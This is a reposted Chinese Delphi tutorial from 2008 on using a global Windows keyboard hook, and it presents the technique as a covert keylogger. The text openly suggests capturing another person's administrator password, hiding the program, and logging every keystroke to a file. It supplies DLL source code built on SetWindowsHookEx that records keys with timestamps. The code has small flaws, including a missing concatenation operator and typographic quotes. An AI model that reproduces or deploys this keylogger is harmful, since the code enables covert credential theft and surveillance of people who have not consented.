Delphi编程使用HOOK监视Windows

2008-02-23 07:15:23来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

  每个程序都有自己的生存空间,在Windows系统中你可以在任何时候让你的程序执行一些操作,还可以触发消息,触发的消息分为三种,一是操作你程序的界面,onClick,onMouseMove等等,另外一个可以使用Windows的消息机制来捕获一些系统消息,但是如果你想在任何时候监控任何程序的情况那可能你就会选择HOOK来实现了,虽然还有其他方法,但不得不承认,HOOK是一个比较简单解决问题的途径。

  下面就来举个例子(使用Delphi7.0调试通过):

  如果你需要访问某个人的机器,那在运行\\SB之后那个人就会在你机器上敲入他的adminsitrator密码,当然,你也可以使用黑客工具来得到他的密码,但是,为什么不自己尝试一下写个程序记录所有的键盘操作呢?

  首先需要申明一点,Hook不同于一般的应用程序,需要作为一个全局DLL出现,否则无法在你程序不激活的状态捕获其他信息的,(当然你可以用Windows消息,这个问题不在这里讨论)。

  写个DLL定义一下函数

function setkeyhook:bool;export;
function endkeyhook:bool;export;
procedure keyhookexit;far;
procedure SetMainHandle(Handle: HWND); export;forward;
function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;

procedure EntryPointProc(Reason: Integer);
 const
  hMapObject: THandle = 0;
 begin
  case reason of
   DLL_PROCESS_ATTACH:
  begin
   hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), ’_CBT’);
   rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0);
  end;
  DLL_PROCESS_DETACH:
 begin
 try
  UnMapViewOfFile(rHookRec);
  CloseHandle(hMapObject);
  except
 end;
end;
end;
end;
procedure keyhookexit;far;
begin
if hNexthookproc<>0 then endkeyhook;
 exitproc:=procsaveexit;
end;
function endkeyhook:bool;export;
begin
if hNexthookproc<>0 then
begin
 unhookwindowshookex(hNexthookproc);
 hNexthookproc:=0;
 messagebeep(0);
end;
result:=hNexthookproc=0;
MainHandle:=0;
end;

function Setkeyhook:bool;export;
begin
 hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0);
 result:=hNexthookproc<>0;
end;
function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
var
 s:Tstringlist;
begin
 if icode<0 then
 begin
  result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam);
  exit;
 end;
 if lparam<0 then
 begin
  exit;
 end;
 s:=TStringlist.Create;
 if FileExists(afilename) then
  s.LoadFromFile(afilename);

  //将敲打的键盘字符保存到文件中
  s.Add(formatdatetime(’YYYYMMDD hh:nn:ss:zzz: ’,now) char(wParam) );
  s.SaveToFile(afilename);
  s.Free;

  result:=0;
 end;


  Dll的Project文件中定义如下

exports
setkeyhook index 1,
endkeyhook index 2,
SetMainHandle index 3;

begin
hNexthookproc:=0;
procsaveexit:=exitproc;
DllProc := @EntryPointProc;
EntryPointProc(DLL_PROCESS_ATTACH);
end.
  这样DLL就定义好了,接下来就是画个界面:

function setkeyhook:bool;external ’keyspy.dll’;
function endkeyhook:bool;external ’keyspy.dll’;
procedure SetMainHandle(Handle: HWND); external ’keyspy.dll’;
//开始捕获键盘
SetMainHandle(handle);
setkeyhook
//中止捕获键盘
endkeyhook
  然后吧你程序隐蔽起来,启动捕获键盘,在中止捕获之前,所有键盘操作都会被记录到你所定义的filename这个文件名中去,注:这些代码是临时写的,仅是为了说明如何写个hook程序。

  另外Hook的功能不仅仅是简单使用,这就需要靠大家灵活运用了,可以跟很多windows API来配合,通过很多技巧作出让人意想不到的效果。
阅读关于 Delphi 的全部文章

上一篇: Delphi 编程技巧常见实例问答
下一篇: 用Delphi开发Web服务数据库程序

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:图文并茂:delphi 编写你的com程序

下一篇:Delphi实现QQ窗体的缩入伸出功能